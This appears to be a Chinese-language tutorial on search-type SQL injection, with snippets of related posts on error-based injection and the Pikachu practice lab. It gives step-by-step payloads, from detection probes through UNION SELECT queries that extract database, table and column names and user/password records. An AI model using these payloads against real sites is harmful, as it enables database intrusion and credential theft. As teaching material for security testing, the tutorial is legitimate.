語句如下:select*from database.table where users like 『%要查詢的關鍵字%』。這裡「%」匹配任何字元,「like」的意思就是像。比如我們在搜尋框輸入關鍵字「李」,那麼sql語句就變成了select * from database.table where users like 『%李%』,意思就是查詢users列裡的帶有關鍵字「李」的資料。
如果我們在輸入關鍵字的時候不是輸入的關鍵字「李」,而是精心構造的sql語句,並且對於輸入的關鍵字也沒有過濾,那麼注入就形成了。
例如我們在搜尋框輸入 李%『and』1』=『1』 and%』=』
select * from table where users like』%李%『and』1』=『1』and』%』=』%』
判斷是否有注入漏洞
url 位址中輸入 www.***.com/abc.php?users= 1『 報錯,說明很有可能存在注入漏洞
url 位址中輸入 www.***.com/abc.php?users= 1% 報錯,說明特別可能存在注入漏洞
url 位址中輸入 www.***.com/abc.php?users= 1% 『and 1=1 and 『%』=』 正確
url 位址中輸入 www.***.com/abc.php?users= 1% 『and 1=2 and 『%』=』 錯誤
根據上面兩條語句判斷是否存在搜尋型注入。
以下幾種語句都可以
『and 1=1 and 『%』=』
%』 and 1=1–』
%』 and 1=1 and 『%』=』
查詢語句
判斷字段數:
%』 order by 1 and 『%』=『
判斷字段顯示位置:
%』 union select 1,2,3,4,5 and 『%』=『
爆庫名:
%』 union select 1,2,(select database()),4,5 and 『%』=『
爆表名:
%』 union select 1,2,(select group_concat(table_name) from information_schema.tables table_schema=『database』),4,5 and 『%』=『
爆資料:
%』 union select 1,2,(select group_concat(column_name) from information_schema.columns table_schema=『database』 and table_name=『table』),4,5 and 『%』=『
爆欄位:
%』 union select 1,2,(select group_concat(id,0x3a,user,0x3a,passwd) from database.table),4,5 and 『%』=『
SQL注入之報錯型注入
一般是在頁面沒有顯示位 但用echo mysql error 輸出了錯誤資訊的時候使用,它的特點是注入速度快,但是語句較複雜,不能用group concat 只能用limit依次猜解 count rand group by三者缺一不可 報錯注入用乙個公式,只要套用公式即可,公式如下 id 2 and...
SQL注入 字元型注入(GET)
實驗準備 皮卡丘靶場 sql injection 數值型注入 get 實驗步驟 當輸入乙個資料庫裡存在的使用者名稱時候,會出現相關郵箱和id 當輸入乙個不存在的字串時,沒有任何資訊 檢視其url,發現請求實在url中提交的,是乙個get請求 猜想資料庫查詢語句 select id,email fro...
Pikachu搜尋型注入
pikachu搜尋型注入 一樣先看一下正確的顯示 輸入ko 會自動搜尋包含 ko的字段顯示出來 因為會自動匹配到username,所以可以聯想到這段語句使用了mysql的模糊查詢。條件大致為 where username like ko 一樣嘗試閉合然後再注釋看是否能正常返回 回顯正常,接下來應該就...